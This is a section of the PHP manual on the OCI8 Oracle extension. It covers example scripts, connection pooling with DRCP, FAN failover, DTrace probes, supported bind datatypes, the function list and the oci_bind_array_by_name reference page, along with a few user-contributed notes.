OCI_D_ROWID | The same as OCI_DTYPE_ROWID.

User Contributed Notes

There are no user contributed notes for this page.


Examples

These examples connect as the HR user, which is the sample "Human Resources" schema supplied with the Oracle database. The account may need to be unlocked and the password reset before you can use it.

The examples connect to the XE database on your machine. Change the connect string to your database before running the examples.

Example #1 Basic query

This shows querying and displaying results. Statements in OCI8 use a prepare-execute-fetch sequence of steps.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Prepare the statement
$stid = oci_parse($conn, 'SELECT * FROM departments');
if (!$stid) {
    $e = oci_error($conn);
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Perform the logic of the query
$r = oci_execute($stid);
if (!$r) {
    $e = oci_error($stid);
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Fetch the results of the query
print "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    print "<tr>\n";
    foreach ($row as $item) {
        print "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    print "</tr>\n";
}
print "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 Inserting with bind variables

Bind variables improve performance by allowing reuse of execution contexts and caches. Bind variables improve security by preventing some kinds of SQL Injection problems.

<?php

// Before running, create the table:
//   CREATE TABLE MYTABLE (mid NUMBER, myd VARCHAR2(20));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO MYTABLE (mid, myd) VALUES(:myid, :mydata)');

$id = 60;
$data = 'Some data';

oci_bind_by_name($stid, ':myid', $id);
oci_bind_by_name($stid, ':mydata', $data);

$r = oci_execute($stid);  // executes and commits

if ($r) {
    print "One row inserted";
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 Binding in the WHERE clause of a query

This shows a single scalar bind.

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE department_id = :didbv ORDER BY last_name';
$stid = oci_parse($conn, $sql);
$didbv = 60;
oci_bind_by_name($stid, ':didbv', $didbv);
oci_execute($stid);
while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
    echo $row['LAST_NAME'] ."<br>\n";
}

// Output is
//    Austin
//    Ernst
//    Hunold
//    Lorentz
//    Pataballa

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 Inserting and fetching a CLOB

For large data use binary long object (BLOB) or character long object (CLOB) types. This example uses CLOB.

<?php

// Before running, create the table:
//     CREATE TABLE MYTABLE (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$mykey = 12343;  // arbitrary key for this example;

$sql = "INSERT INTO mytable (mykey, myclob)
        VALUES (:mykey, EMPTY_CLOB())
        RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_NO_AUTO_COMMIT); // use OCI_DEFAULT for PHP <= 5.3.1
$clob->save("A very long string");

oci_commit($conn);

// Fetching CLOB data

$query = 'SELECT myclob FROM mytable WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) {
    print '<tr><td>'.$row['MYCLOB'].'</td></tr>';
    // In a loop, freeing the large variable before the 2nd fetch reduces PHP's peak memory usage
    unset($row);
}
print '</table>';

?>

Example #5 Using a PL/SQL stored function

You must bind a variable for the return value and optionally for any PL/SQL function arguments.

<?php

/*
  Before running the PHP program, create a stored function in
  SQL*Plus or SQL Developer:

  CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
  BEGIN
      RETURN p * 3;
  END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n";   // prints 24

oci_free_statement($stid);
oci_close($conn);

?>

Example #6 Using a PL/SQL stored procedure

With stored procedures, you should bind variables for any arguments.

<?php

/*
  Before running the PHP program, create a stored procedure in
  SQL*Plus or SQL Developer:

  CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
  BEGIN
      p2 := p1 * 2;
  END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n";   // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

Example #7 Calling a PL/SQL function that returns a REF CURSOR

Each returned value from the query is a REF CURSOR that can be fetched from.

<?php
/*
  Create the PL/SQL stored function as:

  CREATE OR REPLACE FUNCTION myfunc(p1 IN NUMBER) RETURN SYS_REFCURSOR AS
      rc SYS_REFCURSOR;
  BEGIN
      OPEN rc FOR SELECT city FROM locations WHERE ROWNUM < p1;
      RETURN rc;
  END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT myfunc(5) AS mfrc FROM dual');
oci_execute($stid);

echo "<table border='1'>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC))) {
    echo "<tr>\n";
    $rc = $row['MFRC'];
    oci_execute($rc);  // returned column value from the query is a ref cursor
    while (($rc_row = oci_fetch_array($rc, OCI_ASSOC))) {
        echo "    <td>" . $rc_row['CITY'] . "</td>\n";
    }
    oci_free_statement($rc);
    echo "</tr>\n";
}
echo "</table>\n";

// Output is:
//   Beijing
//   Bern
//   Bombay
//   Geneva

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

There are no user contributed notes for this page.


OCI8 Connection Handling and Connection Pooling

Connection Functions

The OCI8 extension provides three different functions for connecting to Oracle. The standard connection function is oci_connect(). This creates a connection to an Oracle database and returns a resource used by subsequent database calls.

Connecting to an Oracle server is a reasonably expensive operation in terms of the time that it takes to complete. The oci_pconnect() function uses a persistent cache of connections that can be re-used across different script requests. This means that the connection overhead will typically only occur once per PHP process (or Apache child).

If the application connects to Oracle using a different set of credentials for each web user, the persistent cache employed by oci_pconnect() will become less useful as the number of concurrent users increases, to the point where it may start to adversely affect the overall performance of the Oracle server due to maintaining too many idle connections. If the application is structured in this way, it is recommended to either tune the application using the oci8.max_persistent and oci8.persistent_timeout configuration settings (these will give control over the persistent connection cache size and lifetime), use Oracle Database Resident Connection Pooling (in Oracle Database 11g or later), or use oci_connect() instead.

Both oci_connect() and oci_pconnect() employ a connection cache; if multiple calls to oci_connect() use the same parameters in a given script, the second and subsequent calls return the existing connection handle. The cache used by oci_connect() is cleaned up at the end of the script run, or when the connection handle is explicitly closed. The function oci_pconnect() has similar behavior, although its cache is maintained separately and survives between HTTP requests.

This caching feature means the two handles are not transactionally isolated (they are in fact the same connection handle, so there is no isolation of any kind). If the application needs two separate, transactionally isolated connections, then use oci_new_connect().

The oci_pconnect() cache is cleared and any database connections closed when the PHP process terminates, so effective use of persistent connections requires that PHP be an Apache module or used with FGCI, or similar. Persistent connections will not have any benefits over oci_connect() when PHP is used with CGI or via the command-line.

The function oci_new_connect() always creates a new connection to the Oracle server, regardless of what other connections might already exist. High traffic web applications should avoid using oci_new_connect(), especially in the busiest sections of the application.

DRCP Connection Pooling

PHP from 5.3 (PECL OCI8 1.3) supports Oracle Database Resident Connection Pooling (DRCP). DRCP allows more efficient use of database machine memory and provides high scalability. No, or minimal, application changes are needed to use DRCP.

DRCP is suited for applications that connect using few database schemas and hold database connections open for a short period of time. Other applications should use Oracle's default Dedicated database server processes, or use Shared servers.

DRCP benefits all three connection functions, but gives the highest scalability when connections are created with oci_pconnect().

For DRCP to be available in OCI8, Oracle client libraries used by PHP and the version of the Oracle Database must both be 11g or greater.

Documentation on DRCP is found in several Oracle manuals. For example, see » Configuring Database Resident Connection Pooling in the Oracle documentation for usage information. A » DRCP white paper contains background information on DRCP.

To use DRCP, build PHP with the OCI8 1.3 (or later) extension and Oracle 11g (or later) libraries and then follow these steps:

  • As a privileged database administrator, use a program like SQL*Plus to start the connection pool in the database:

        SQL> execute dbms_connection_pool.start_pool;

  • Optionally use dbms_connection_pool.alter_param() to configure DRCP settings. The current pool settings can be queried from the DBA_CPOOL_INFO view.

  • Update the connection strings used. For PHP applications that currently connect using a Network Connect Name like MYDB:

        $c = oci_pconnect("myuser", "mypassword", "MYDB");

    modify the tnsnames.ora file and add a (SERVER=POOLED) clause, for example:

        MYDB = (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=myhost.dom.com)
           (PORT=1521))(CONNECT_DATA=(SERVICE_NAME=sales)
           (SERVER=POOLED)))

    Alternatively, modify the Easy Connect syntax in PHP and add :POOLED after the service name:

        $c = oci_pconnect("myuser", "mypassword", "myhost.dom.com:1521/sales:POOLED");

  • Edit php.ini and choose a connection class name. This name indicates a logical division of the connection pool and can be used to isolate pooling for separate applications. Any PHP applications with the same user name and connection class value will be able to share connections in the pool, giving greater scalability.

        oci8.connection_class = "MY_APPLICATION_NAME"

  • Run the application, connecting to the 11g (or later) database.

Note:

Applications using Oracle 10g that require the performance of persistent connections can reduce the amount of database server memory needed by using Oracle Shared servers (previously known as Multi Threaded Servers). Refer to Oracle documentation for information.

DRCP Recommendations and Known Limitations

Changing a password over DRCP connections will fail with the error ORA-56609: Usage not supported with DRCP. This is a documented restriction of Oracle Database 11g.

From OCI8 1.3, persistent connections can be closed by the user, allowing greater control over connection resource usage. Persistent connections will now also be closed automatically when there is no PHP variable referencing them, such as at the end of scope of a PHP user function. This will rollback any uncommitted transaction. These changes to persistent connections make them behave similarly to non-persistent connections, simplifying the interface, allowing for greater application consistency and predictability. Use oci8.old_oci_close_semantics set to On to retain the historical behavior.

If the Oracle Database is version 11.1.0.6, then the Oracle database patch for Oracle bug 6474441 must be applied to use DRCP. Without this patch, errors such as ORA-01000: maximum open cursors exceeded, ORA-01001 invalid cursor or ORA-01002 fetch out of sequence may occur. This bug was fixed in Oracle 11.1.0.7 onwards.

If the Oracle 11.1.0.6 database patch cannot be applied, one of the following three workarounds can be used instead:

  • Connect using Oracle Dedicated or Shared servers instead of DRCP.
  • Set PHP's oci8.statement_cache_size to 0.
  • Set an event in the database initialization parameter file: event="56699 trace name context forever, level 128".

Oracle Database 11.1.0.7 and the Oracle Database 11.1.0.6 patch for Oracle bug 6474441 allow PHP applications with DRCP connection to use a database LOGON trigger to set session properties at the time of session creation. Examples of such settings are the NLS language and the date format.

If the Oracle 11.1.0.6 database patch cannot be applied, one of the following workarounds can be used instead of using LOGON triggers:

  • After logon, explicitly set the session properties using PHP application code.
  • Connect using Oracle Dedicated or Shared servers instead of DRCP.

The automatic re-establishment of PHP persistent connections after an Apache or FGCI process respawns means LOGON triggers in PHP are only recommended for setting session attributes and not for per-application user connection requests. This is even more so with DRCP due to the automatic pool sizing and with the way LOGON triggers fire with DRCP authentication.

User Contributed Notes

There are no user contributed notes for this page.


OCI8 Fast Application Notification (FAN) Support

FAN support gives fast connection failover, an Oracle Database high availability feature. This allows PHP OCI8 scripts to be notified when a database machine or database instance becomes unavailable. Without FAN, OCI8 can hang until a TCP timeout occurs and an error is returned, which might be several minutes. Enabling FAN in OCI8 can allow applications to detect errors and re-connect to an available database instance without the web user being aware of an outage.

FAN support is available when the Oracle client libraries that PHP links with and the Oracle Database are either version 10gR2 or later.

FAN benefits users of Oracle's clustering technology (RAC) because connections to surviving database instances can be immediately made. Users of Oracle's Data Guard with a broker will see the FAN events generated when the standby database goes online. Standalone databases will send FAN events when the database restarts.

For active connections, when a machine or database instance becomes unavailable, a connection failure error will be returned by the OCI8 extension function currently being called. On a subsequent PHP script re-connect, a connection to a surviving database instance will be established. The OCI8 extension also transparently cleans up any idle connections affected by a database machine or instance failure so PHP connect calls will establish a fresh connection without the script being aware of any service disruption.

When oci8.events is On, it is suggested to set oci8.ping_interval to -1 to disable pinging, since enabling FAN events provide pro-active connection management of idle connections made invalid by a service disruption.

To enable FAN support in PHP OCI8, build PHP OCI8 with Oracle 10gR2 or later libraries and then follow these steps:

  • As a privileged database administrator, use a program like SQL*Plus to enable the database service to post FAN events, for example:

        SQL> execute dbms_service.modify_service(
                   SERVICE_NAME        => 'sales',
                   AQ_HA_NOTIFICATIONS => TRUE);

  • Edit php.ini and add

        oci8.events = On

  • If the application does not already handle OCI8 error conditions, modify it to detect failures and take appropriate action. This may include re-connecting and re-executing statements.
  • Run the application, connecting to Oracle Database 10gR2 or later.

User Contributed Notes

There are no user contributed notes for this page.


OCI8 and DTrace Dynamic Tracing

OCI8 2.0 introduced static DTrace probes that can be used on operating systems that support DTrace. See DTrace Dynamic Tracing for an overview of PHP and DTrace.

Installing OCI8 with DTrace Support

To enable DTrace support in PHP OCI8, build OCI8 as a shared extension after setting PHP_DTRACE.

$ export PHP_DTRACE=yes
$ pecl install oci8

Edit php.ini, set extension_dir to the directory with the created oci8.so and also enable the extension by adding:

extension=oci8.so

If you install PHP OCI8 2.0 from PECL using phpize and configure (instead of pecl), you will still need to set PHP_DTRACE=yes. This is because the --enable-dtrace option will be ignored by the limited configure script of a PECL bundle.

See Installation of PECL extensions for general PECL installation instructions.

DTrace Static Probes in PHP OCI8

The following static probes are available in PHP OCI8
Probe Name | Probe Description | Probe Arguments
oci8-connect-entry | Initiated by oci_connect(), oci_pconnect() and oci_new_connect(). Fires before database connection is established. | char *username, char *dbname, char *charset, long session_mode, int persistent, int exclusive
oci8-connect-return | Fires at the end of connection. | void *connection
oci8-check-connection | Fires if an Oracle error might have caused the connection to become invalid. | void *connection, char *client_id, int is_open, long errcode, unsigned long server_status
oci8-sqltext | Fires when oci_parse() is executed. | void *connection, char *client_id, void *statement, char *sql
oci8-connection-close | Fires when the connection to the database is completely destroyed. | void *connection
oci8-error | Fires if an Oracle error occurs. | int status, long errcode
oci8-execute-mode | Fires at oci_execute() to show the execution mode. | void *connection, char *client_id, void *statement, unsigned int mode

These probes are useful for tracing OCI8 scripts.

The connection and statement are the pointers to internal structures used for tracking PHP connections and executed statements.

The client_id is the value set by oci_set_client_identifier().

Core PHP also has static probes. See DTrace Static Probes in Core PHP.

Internal Debugging DTrace Probes in OCI8
Probe Name
oci8-connect-expiry
oci8-connect-lookup
oci8-connect-p-dtor-close
oci8-connect-p-dtor-release
oci8-connect-type
oci8-sesspool-create
oci8-sesspool-stats
oci8-sesspool-type

These probes are useful for OCI8 maintainers. Refer to the OCI8 source code for arguments and to see when the will fire.

Listing DTrace Static Probes in PHP OCI8

To list available probes, start a PHP process and then run:

# dtrace -l

The output will be similar to:

   ID   PROVIDER            MODULE                          FUNCTION NAME
   [ . . . ]
   17 phpoci22116           oci8.so   php_oci_dtrace_check_connection oci8-check-connection
   18 phpoci22116           oci8.so                php_oci_do_connect oci8-connect-entry
   19 phpoci22116           oci8.so         php_oci_persistent_helper oci8-connect-expiry
   20 phpoci22116           oci8.so             php_oci_do_connect_ex oci8-connect-lookup
   21 phpoci22116           oci8.so  php_oci_pconnection_list_np_dtor oci8-connect-p-dtor-close
   22 phpoci22116           oci8.so  php_oci_pconnection_list_np_dtor oci8-connect-p-dtor-release
   23 phpoci22116           oci8.so                php_oci_do_connect oci8-connect-return
   24 phpoci22116           oci8.so             php_oci_do_connect_ex oci8-connect-type
   25 phpoci22116           oci8.so          php_oci_connection_close oci8-connection-close
   26 phpoci22116           oci8.so                     php_oci_error oci8-error
   27 phpoci22116           oci8.so         php_oci_statement_execute oci8-execute-mode
   28 phpoci22116           oci8.so              php_oci_create_spool oci8-sesspool-create
   29 phpoci22116           oci8.so            php_oci_create_session oci8-sesspool-stats
   30 phpoci22116           oci8.so            php_oci_create_session oci8-sesspool-type
   31 phpoci22116           oci8.so          php_oci_statement_create oci8-sqltext

The Provider column values consist of phpoci and the process id of the currently running PHP process.

The Function column refers to PHP's internal C implementation function names where each provider is located.

If a PHP process is not running, then no PHP probes will be shown.

DTrace with PHP OCI8 Example

This example shows the basics of the DTrace D scripting language.

Example #1 user_oci8_probes.d for tracing all user-level PHP OCI8 Static Probes with DTrace

#!/usr/sbin/dtrace -Zs

#pragma D option quiet

php*:::oci8-connect-entry
{
    printf("%lld: PHP connect-entry\n", walltimestamp);
    printf("  credentials=\"%s@%s\"\n", arg0 ? copyinstr(arg0) : "", arg1 ? copyinstr(arg1) : "");
    printf("  charset=\"%s\"\n", arg2 ? copyinstr(arg2) : "");
    printf("  session_mode=%ld\n", (long)arg3);
    printf("  persistent=%d\n", (int)arg4);
    printf("  exclusive=%d\n", (int)arg5);
}

php*:::oci8-connect-return
{
    printf("%lld: PHP oci8-connect-return\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
}

php*:::oci8-connection-close
{
    printf("%lld: PHP oci8-connect-close\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
}

php*:::oci8-error
{
    printf("%lld: PHP oci8-error\n", walltimestamp);
    printf("  status=%d\n", (int)arg0);
    printf("  errcode=%ld\n", (long)arg1);
}

php*:::oci8-check-connection
{
    printf("%lld: PHP oci8-check-connection\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  is_open=%d\n", arg2);
    printf("  errcode=%ld\n", (long)arg3);
    printf("  server_status=%lu\n", (unsigned long)arg4);
}

php*:::oci8-sqltext
{
    printf("%lld: PHP oci8-sqltext\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  statement=0x%p\n", (void *)arg2);
    printf("  sql=\"%s\"\n", arg3 ? copyinstr(arg3) : "");
}

php*:::oci8-execute-mode
{
    printf("%lld: PHP oci8-execute-mode\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  statement=0x%p\n", (void *)arg2);
    printf("  mode=0x%x\n", arg3);
}

This script uses the -Z option to dtrace, allowing it to be run when there is no PHP process executing. If this option were omitted the script would immediately terminate when no PHP executable was running because it knows none of the probes to be monitored are in existence.

On multi-CPU machines the probe ordering might not appear to be sequential. This depends on which CPU was processing the probes, and how threads migrate across CPUs. Displaying probe time stamps helps reduce confusion.

The script traces all user-level PHP OCI8 static probe points throughout the duration of a running PHP script. Run the D script:

# ./user_oci8_probes.d

Run a PHP script or application. The monitoring D script will output each probe's arguments as it fires. For example, a simple PHP script that queries a table might produce the following trace output:

1381794982092854582: PHP connect-entry
  credentials="hr@localhost/pdborcl"
  charset=""
  session_mode=0
  persistent=0
  exclusive=0
1381794982183158766: PHP oci8-connect-return
  connection=0x7f4a7907bfb8
1381794982183594576: PHP oci8-sqltext
  connection=0x7f4a7907bfb8
  client_id="Chris"
  statement=0x7f4a7907c2a0
  sql="select * from employees"
1381794982183783706: PHP oci8-execute-mode
  connection=0x7f4a7907bfb8
  client_id="Chris"
  statement=0x7f4a7907c2a0
  mode=0x20
1381794982444344390: PHP oci8-connect-close
  connection=0x7f4a7907bfb8

When monitoring is complete, the D script can be terminated with a ^C.

See Also

  • DTrace Dynamic Tracing

User Contributed Notes

There are no user contributed notes for this page.


Supported Datatypes

The driver supports the following types when binding parameters using the oci_bind_by_name() function:
Type | Mapping
SQLT_NTY | Maps a native collection type from a PHP collection object, such as those created by oci_new_collection().
SQLT_BFILEE | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_CFILEE | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_CLOB | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_BLOB | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_RDD | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_NUM | Converts the PHP parameter to a 'C' long type, and binds to that value.
SQLT_RSET | Maps a native statement handle, such as those created by oci_parse() or those retrieved from other OCI queries.
SQLT_BOL | Bind the PHP parameter to a PL/SQL BOOLEAN
SQLT_CHR and any other type | Converts the PHP parameter to a string type and binds as a string.
The following types are supported when retrieving columns from a result set:
Type | Mapping
SQLT_RSET | Creates an oci statement resource to represent the cursor.
SQLT_RDD | Creates a ROWID object.
SQLT_BLOB | Creates a LOB object.
SQLT_CLOB | Creates a LOB object.
SQLT_BFILE | Creates a LOB object.
SQLT_LNG | Bound as SQLT_CHR, returned as a string
SQLT_LBI | Bound as SQLT_BIN, returned as a string
Any other type | Bound as SQLT_CHR, returned as a string

User Contributed Notes

There are no user contributed notes for this page.


OCI8 Functions

Table of Contents

  • oci_bind_array_by_name — Binds a PHP array to an Oracle PL/SQL array parameter
  • oci_bind_by_name — Binds a PHP variable to an Oracle placeholder
  • oci_cancel — Cancels reading from cursor
  • oci_client_version — Returns the Oracle client library version
  • oci_close — Closes an Oracle connection
  • oci_commit — Commits the outstanding database transaction
  • oci_connect — Connect to an Oracle database
  • oci_define_by_name — Associates a PHP variable with a column for query fetches
  • oci_error — Returns the last error found
  • oci_execute — Executes a statement
  • oci_fetch_all — Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_array — Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc — Returns the next row from a query as an associative array
  • oci_fetch_object — Returns the next row from a query as an object
  • oci_fetch_row — Returns the next row from a query as a numeric array
  • oci_fetch — Fetches the next row from a query into internal buffers
  • oci_field_is_null — Checks if a field in the currently fetched row is NULL
  • oci_field_name — Returns the name of a field from the statement
  • oci_field_precision — Tell the precision of a field
  • oci_field_scale — Tell the scale of the field
  • oci_field_size — Returns field's size
  • oci_field_type_raw — Tell the raw Oracle data type of the field
  • oci_field_type — Returns a field's data type name
  • oci_free_descriptor — Frees a descriptor
  • oci_free_statement — Frees all resources associated with statement or cursor
  • oci_get_implicit_resultset — Returns the next child statement resource from a parent statement resource that has Oracle Database 12c Implicit Result Sets
  • oci_internal_debug — Enables or disables internal debug output
  • oci_lob_copy — Copies large object
  • oci_lob_is_equal — Compares two LOB/FILE locators for equality
  • oci_new_collection — Allocates new collection object
  • oci_new_connect — Connect to the Oracle server using a unique connection
  • oci_new_cursor — Allocates and returns a new cursor (statement handle)
  • oci_new_descriptor — Initializes a new empty LOB or FILE descriptor
  • oci_num_fields — Returns the number of result columns in a statement
  • oci_num_rows — Returns number of rows affected during statement execution
  • oci_parse — Prepares an Oracle statement for execution
  • oci_password_change — Changes password of Oracle's user
  • oci_pconnect — Connect to an Oracle database using a persistent connection
  • oci_result — Returns field's value from the fetched row
  • oci_rollback — Rolls back the outstanding database transaction
  • oci_server_version — Returns the Oracle Database version
  • oci_set_action — Sets the action name
  • oci_set_client_identifier — Sets the client identifier
  • oci_set_client_info — Sets the client information
  • oci_set_edition — Sets the database edition
  • oci_set_module_name — Sets the module name
  • oci_set_prefetch — Sets number of rows to be prefetched by queries
  • oci_statement_type — Returns the type of a statement

User Contributed Notes

greatval <wow> gmail <dot> com 24-Jul-2006 06:30
For use PHPv5 functions in PHPv4 i use simple script:
<?php
$funcs=array(
        'oci_connect'=>'OCILogon',
        'oci_parse'=>'OCIParse',
        'oci_execute'=>'OCIExecute',
        'oci_fetch'=>'OCIFetch',
        'oci_num_fields'=>'OCINumCols',
        'oci_field_name'=>'OCIColumnName',
        'oci_result'=>'OCIResult',
        'oci_free_statement'=>'OCIFreeStatement',
);
// yoy can add yours pairs of funcs.

foreach ($funcs as $k=>$v)
    {
        if (!function_exists($k))
            {
                $arg_string='$p0';
                for ($i=1;$i<20;$i++) {
                    $arg_string.=',$p'.$i;
                }
                eval ('function '.$k.' () {
                        list('.$arg_string.')=func_get_args();
                        return '.$v.'('.$arg_string.');
                        }
                ');
            }
    }
?>

simple, but it work. :-)
Javi Ros 02-Jun-2006 04:49
Here are the translate of some functions from ORA to OCI:

<?php
function Ora_Logon($usuario, $password)
{
        $con = oci_connect($usuario,$password);
        return $con;
}

function Ora_Open($conexion) {
        $cursor[0]=$conexion;
        return $cursor;
}

function Ora_Parse(&$cursor, $consulta) {
        $cursor[1]=oci_parse($cursor[0],$consulta);
        return $cursor;
}

function Ora_Exec(&$cursor) {
        oci_execute($cursor[1]);
        $cursor[2]=1;
        return $cursor;
}

function Ora_Fetch(&$cursor)
{
        if ($cursor[2] == 1) $cursor[2]=0;
        return oci_fetch($cursor[1]);
}

function Ora_GetColumn(&$cursor, $indice)
{
        if ($cursor[2] == 1) {
                Ora_Fetch($cursor);
                $cursor[2]=0;
        }
        $valor = oci_result($cursor[1],$indice+1);
        return $valor;
}

function Ora_Close(&$cursor)
{
        unset($cursor[1]);
}

function Ora_Logoff($conexion) {
}
?>


Binds a PHP array to an Oracle PL/SQL array parameter

  • « OCI8 Functions
  • oci_bind_by_name »
  • PHP Manual
  • OCI8 Functions
  • Binds a PHP array to an Oracle PL/SQL array parameter

oci_bind_array_by_name

(PHP 5 >= 5.1.2, PECL OCI8 >= 1.2.0)

oci_bind_array_by_name — Binds a PHP array to an Oracle PL/SQL array parameter

Description

bool oci_bind_array_by_name ( resource $statement , string $name , array &$var_array , int $max_table_length [, int $max_item_length = -1 [, int $type = SQLT_AFC ]] )

Binds the PHP array var_array to the Oracle placeholder name, which points to an Oracle PL/SQL array. Whether it will be used for input or output will be determined at run-time.

Parameters

statement

A valid OCI statement identifier.

name

The Oracle placeholder.

var_array

An array.

max_table_length

Sets the maximum length both for incoming and result arrays.

max_item_length

Sets maximum length for array items. If not specified or equals to -1, oci_bind_array_by_name() will find the longest element in the incoming array and will use it as the maximum length.

type

Should be used to set the type of PL/SQL array items. See list of available types below:

  • SQLT_NUM - for arrays of NUMBER.

  • SQLT_INT - for arrays of INTEGER (Note: INTEGER it is actually a synonym for NUMBER(38), but SQLT_NUM type won't work in this case even though they are synonyms).

  • SQLT_FLT - for arrays of FLOAT.

  • SQLT_AFC - for arrays of CHAR.

  • SQLT_CHR - for arrays of VARCHAR2.

  • SQLT_VCS - for arrays of VARCHAR.

  • SQLT_AVC - for arrays of CHARZ.

  • SQLT_STR - for arrays of STRING.

  • SQLT_LVC - for arrays of LONG VARCHAR.

  • SQLT_ODT - for arrays of DATE.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_bind_array_by_name() example

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$create = "CREATE TABLE bind_example(name VARCHAR(20))";
$stid = oci_parse($conn, $create);
oci_execute($stid);

$create_pkg = "
CREATE OR REPLACE PACKAGE ARRAYBINDPKG1 AS
  TYPE ARRTYPE IS TABLE OF VARCHAR(20) INDEX BY BINARY_INTEGER;
  PROCEDURE iobind(c1 IN OUT ARRTYPE);
END ARRAYBINDPKG1;";
$stid = oci_parse($conn, $create_pkg);
oci_execute($stid);

$create_pkg_body = "
CREATE OR REPLACE PACKAGE BODY ARRAYBINDPKG1 AS
  CURSOR CUR IS SELECT name FROM bind_example;
  PROCEDURE iobind(c1 IN OUT ARRTYPE) IS
    BEGIN
    -- Bulk Insert
    FORALL i IN INDICES OF c1
      INSERT INTO bind_example VALUES (c1(i));

    -- Fetch and reverse
    IF NOT CUR%ISOPEN THEN
      OPEN CUR;
    END IF;
    FOR i IN REVERSE 1..5 LOOP
      FETCH CUR INTO c1(i);
      IF CUR%NOTFOUND THEN
        CLOSE CUR;
        EXIT;
      END IF;
    END LOOP;
  END iobind;
END ARRAYBINDPKG1;";
$stid = oci_parse($conn, $create_pkg_body);
oci_execute($stid);

$stid = oci_parse($conn, "BEGIN arraybindpkg1.iobind(:c1); END;");
$array = array("one", "two", "three", "four", "five");
oci_bind_array_by_name($stid, ":c1", $array, 5, -1, SQLT_CHR);
oci_execute($stid);

var_dump($array);

?>

User Contributed Notes

david dot paper at usu dot edu 10-Sep-2009 07:44
We were able to get the example included for the "OCI_BIND_ARRAY_BY_NAME" to work. However, the example is NOT actually binding with a PL/SQL array of any type. It is writing data to an Oracle table named "bind_example". Notice how this table is created. The table does NOT have an array type as one of its fields. Since this is the case, there cannot be any binding to a PL/SQL array because at least one field in the table must be either a VARRAY, NESTED TABLE or ASSOCIATIVE ARRAY data type. We searched the Internet and could not find any examples that actually read from a PL/SQL array type. We were able to get data from a PL/SQL VARRAY data type, but only by using a SELECT statement.
Anonymous 12-Jun-2008 06:44
This function appears to work with PL/SQL associative arrays (index-by tables) but I was unable to get it to work with PL/SQL varrays
14-Feb-2007 01:24
Note that it looks like you can't bind a multi-dimensional array with this method. If you try, you'll get a Notice about Array to string conversion, and your PL/SQL will end up with a one-dimensional array filled with the a lot of string values, all saying "Array". :|


Binds a PHP variable to an Oracle placeholder

